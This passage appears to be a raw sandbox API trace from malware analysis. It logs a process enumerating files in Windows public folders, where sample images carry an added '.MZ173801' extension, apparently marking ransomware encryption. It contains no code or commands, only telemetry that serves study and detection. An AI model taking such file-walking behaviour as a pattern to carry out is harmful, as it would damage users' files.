ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa6aa9360, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Penguins.jpg.MZ173801", cAlternateFileName="")) returned 1 [0144.343] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.343] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.343] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa6b8dba0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Tulips.jpg.MZ173801", cAlternateFileName="")) returned 1 [0144.343] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.343] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.343] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa6b8dba0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Tulips.jpg.MZ173801", cAlternateFileName="")) returned 0 [0144.344] GetLastError () returned 0x12 [0144.344] FindClose (in: hFindFile=0x2fc700 | out: hFindFile=0x2fc700) returned 1 [0144.344] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa6b8dba0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6b8dba0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc700 [0144.344] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a8 | out: lpLocalFileTime=0x18f4a8) returned 1 [0144.344] FileTimeToDosDateTime (in: lpFileTime=0x18f4a8, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.344] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa6b8dba0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6b8dba0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.344] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.344] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.344] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa641d6e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Chrysanthemum.jpg.MZ173801", cAlternateFileName="CHRYSA~1.MZ1")) returned 1 [0144.344] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.344] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.344] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa6574340, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xce875, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Desert.jpg.MZ173801", cAlternateFileName="")) returned 1 [0144.344] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.344] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.344] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.345] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa667ece0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x91554, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Hydrangeas.jpg.MZ173801", cAlternateFileName="HYDRAN~1.MZ1")) returned 1 [0144.345] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.345] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.345] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa6789680, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xbd616, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Jellyfish.jpg.MZ173801", cAlternateFileName="JELLYF~1.MZ1")) returned 1 [0144.345] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.345] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.345] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa68ba180, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Koala.jpg.MZ173801", cAlternateFileName="")) returned 1 [0144.345] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.345] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.345] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa6978860, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x8907c, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Lighthouse.jpg.MZ173801", cAlternateFileName="LIGHTH~1.MZ1")) returned 1 [0144.345] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.345] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.345] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa6aa9360, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Penguins.jpg.MZ173801", cAlternateFileName="")) returned 1 [0144.345] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.345] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.345] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa6b8dba0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Tulips.jpg.MZ173801", cAlternateFileName="")) returned 1 [0144.345] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.345] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.345] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa6b8dba0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Tulips.jpg.MZ173801", cAlternateFileName="")) returned 0 [0144.345] GetLastError () returned 0x12 [0144.345] FindClose (in: hFindFile=0x2fc700 | out: hFindFile=0x2fc700) returned 1 [0144.345] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa6b8dba0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6b8dba0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 0 [0144.345] GetLastError () returned 0x12 [0144.345] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.346] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recorded TV", cAlternateFileName="RECORD~1")) returned 1 [0144.346] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.346] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.346] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.346] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.346] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x89e5e11e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x89e5e11e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.346] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.346] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.346] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 1 [0144.346] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 0 [0144.346] GetLastError () returned 0x12 [0144.346] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.346] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.347] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.347] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.347] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.347] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.347] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.347] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x89e5e11e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x89e5e11e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.347] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 1 [0144.347] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.347] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.347] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc700 [0144.347] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.347] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xab, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.347] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a8 | out: lpLocalFileTime=0x18f4a8) returned 1 [0144.347] FileTimeToDosDateTime (in: lpFileTime=0x18f4a8, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.347] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 1 [0144.347] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.347] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.347] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 0 [0144.347] GetLastError () returned 0x12 [0144.347] FindClose (in: hFindFile=0x2fc700 | out: hFindFile=0x2fc700) returned 1 [0144.347] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc700 [0144.348] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a8 | out: lpLocalFileTime=0x18f4a8) returned 1 [0144.348] FileTimeToDosDateTime (in: lpFileTime=0x18f4a8, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.348] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.348] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.348] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.348] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, 